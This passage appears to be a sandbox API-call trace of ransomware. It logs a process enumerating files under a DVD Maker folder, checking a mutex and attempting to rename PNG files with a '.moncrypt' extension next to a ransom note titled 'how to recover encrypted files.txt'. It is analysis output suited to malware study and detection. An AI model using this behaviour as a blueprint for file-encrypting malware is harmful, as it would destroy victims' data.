lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png", lpUsedDefaultChar=0x0) returned 77 [0058.713] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Travel\\16_9-frame-image-inset.png", lpUsedDefaultChar=0x0) returned 4 [0058.714] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 0x54e280 [0058.714] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.714] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.714] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.714] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png", dwFileAttributes=0x20) returned 0 [0058.714] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.714] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png.moncrypt")) returned 0 [0058.715] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0058.715] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.715] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.715] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.715] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.715] GlobalUnlock (hMem=0x440004) returned 0 [0058.715] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.715] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.715] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.715] GlobalUnlock (hMem=0x440004) returned 0 [0058.715] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.715] GlobalUnlock (hMem=0x44000c) returned 0 [0058.715] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.715] CharLowerBuffW (in: lpsz="btn-back-static.png", cchLength=0x13 | out: lpsz="btn-back-static.png") returned 0x13 [0058.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.716] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", cchWideChar=70, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.pngc", lpUsedDefaultChar=0x0) returned 70 [0058.716] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Travel\\btn-back-static.pngc", lpUsedDefaultChar=0x0) returned 4 [0058.716] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 0x54e280 [0058.716] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.716] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.717] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.717] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", dwFileAttributes=0x20) returned 0 [0058.717] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.717] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png.moncrypt")) returned 0 [0058.717] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0058.717] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.717] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.717] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.718] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.718] GlobalUnlock (hMem=0x44000c) returned 0 [0058.718] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.718] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.718] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.718] GlobalUnlock (hMem=0x44000c) returned 0 [0058.718] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.718] GlobalUnlock (hMem=0x440004) returned 0 [0058.718] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.718] CharLowerBuffW (in: lpsz="btn-next-static.png", cchLength=0x13 | out: lpsz="btn-next-static.png") returned 0x13 [0058.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.719] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, 